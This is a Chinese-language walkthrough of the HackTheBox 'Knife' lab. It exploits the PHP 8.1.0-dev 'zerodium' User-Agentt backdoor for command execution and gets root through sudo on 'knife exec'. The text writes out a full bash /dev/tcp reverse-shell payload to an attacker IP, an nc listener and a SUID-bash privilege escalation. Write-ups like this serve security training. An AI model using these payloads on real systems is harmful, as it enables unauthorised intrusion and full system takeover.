HackTheBox-Knife靶场实战
HackTheBox-Knife靶场实战
靶场信息
信息搜集
首先使用nmap进行端口扫描
![](https://img2020.cnblogs.com/blog/1642618/202105/1642618-20210526150307472-750189976.png)
我们得知开启了22和80端口
出于能不爆破就不爆破的原则,先访问80端口看一下
![](https://pic4.zhimg.com/80/v2-50d447609c1d3dd1e899a4b1e048ffdf_1440w.jpg)
80端口上的内容有点不明所以。
在完全没思路的情况下,尝试使用dirbuster工具进行了目录爆破,但四十分钟过去了却没有一丁点收获,连robots.txt页面也不存在。
我的思路就卡在这里了,一时之间不知道应该怎么做,就去泡了杯茶,突然来了灵感,要不先抓个包看看?
![](https://img2020.cnblogs.com/blog/1642618/202105/1642618-20210526150421507-1187409695.png)
乍一看似乎没有什么值得关注的东西,但在通宵日靶场导致神志不清又经过了茶叶洗礼的脑瓜子的引导下,我注意到了一个点。
X-Powered-By: PHP/8.1.0-dev
这东西,隐约之间觉得不简单,便去百度进行了搜索。搜索的同时尝试了nikto工具,也提示了这一条
![](https://pic3.zhimg.com/80/v2-54658b810ec1e6efe9d18ab09ce8f876_1440w.jpg)
就是这两个提示,让我确信突破口在这,然后经过大量的google和百度搜索后,找到了一丝思路。
PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。
漏洞利用
使用burp抓包,并加入字段
User-Agentt: zerodiumvar_dump(2*3);
发现被成功执行
接着尝试命令是否可被解析执行
User-Agentt: zerodiumsystem("id");
![](https://img2020.cnblogs.com/blog/1642618/202105/1642618-20210526150543146-1611420255.png)
Nice 命令可被执行,那就简单了,可以执行命令,那就尝试getshell吧
本地监听:
Nc –nvlp 9001
执行命令:
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.240/9001 0>&1'");
![](https://pic3.zhimg.com/80/v2-1328b04cb22bb655ab0d245f2318c92e_1440w.jpg)
成功通过nc获得了一个shell
首先确定是否有python
Which python3
![](https://pic1.zhimg.com/80/v2-49178bbfdfc4adf3e0b303426e498f20_1440w.jpg)
确定python3存在,使用python3获得一个更加稳定的shell程序
python3 -c 'import pty; pty.spawn("/bin/bash")'
![](https://pic3.zhimg.com/80/v2-57f3b982c2c5e46ad27ac12b0f4ed5ae_1440w.jpg)
成功获得普通用户的flag
漏洞提权
先确定knife用户的sudo权限
Sudo –l
Ls –al /usr/bin/knife
![](https://pic3.zhimg.com/80/v2-20045d38503e59dad97b7cd3b601a26e_1440w.jpg)
进行提权
echo "system('chmod +s /bin/bash')" > exploit.rb
ls
sudo /usr/bin/knife exec exploit.rb
ls -al /bin/bash
/bin/bash –p
![](https://pic1.zhimg.com/80/v2-763c592f0e3de7bac4c759d9e99ff078_1440w.jpg)
获得root用户的flag
![](https://pic3.zhimg.com/80/v2-3ff2254abc59d1d7427f45456ea26d6a_1440w.jpg)